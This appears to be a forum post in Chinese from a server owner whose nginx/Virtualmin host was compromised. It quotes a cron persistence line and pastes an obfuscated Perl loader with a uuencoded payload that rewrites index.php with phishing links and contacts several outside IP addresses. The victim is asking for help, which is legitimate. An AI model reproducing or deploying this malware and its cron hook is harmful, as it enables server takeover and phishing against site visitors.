我的网络服务器被黑了, 在crontab上运行了未知的网上诱骗代码
*/12 * * * * perl /var/tmp/lwDleou >/dev/null 2>&1
它会更改index.php并添加一些未知的网址,使我的网站成为网上诱骗网站。
有没有人,为什么要注入我的服务器?你有假设吗?
我的环境是nginx,使用virtualmin。
以下是未知操作,将网络钓鱼网址注入原始index.php
my $MpbqsYr='';$MpbqsYr.=$_ while(<DATA>);$MpbqsYr=unpack('u*',$MpbqsYr);$MpbqsYr=~s/295c445c5f495f5f4548533c3c3c3d29/747e78796e6922626978236175686e3d/gs;eval($MpbqsYr);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T@
M9F]R:RD["F5X:70@,"!I9B`D<&ED.PI03U-)6#HZ<V5T<VED*"D["B1324=[
M)%]](#T@(DE'3D]212(@9F]R("AQ=R`H2%50($E.5"!)3$P@1E!%(%%5250@
M04)25"!54U(Q(%-%1U8@55-2,B!025!%($%,4DT@5$5232!#2$Q$*2D["G5M
M87-K(#`["F-H9&ER("(O(CL*;W!E;B`H4U1$24XL("(\+V1E=B]N=6QL(BD[
M"F]P96X@*%-41$]55"P@(CXO9&5V+VYU;&PB*3L*;W!E;B`H4U1$15)2+"`B
M/B935$1/550B*3L*;7D@)'5R;"`](%LB-2XQ,S4N-#(N.3@Z,C4B+"(T,2XR
M,38N,3@V+C$U-SHX,"(L(CDQ+CDR+C$S-RXQ.#HX,")=.PIM>2`D<FYD(#T@
M6R)A(BXN(GHB+"`B02(N+B):(ET[("1R;F0@/2!J;VEN("@B(BP@0"1R;F1;
M;6%P('MR86YD($`D<FYD?2@Q+BXH-B`K(&EN="!R86YD(#4I*5TI.PIM>2`D
M9&ER(#T@(B]V87(O=&UP(CL@:68@*&]P96X@*$8L("(^(BP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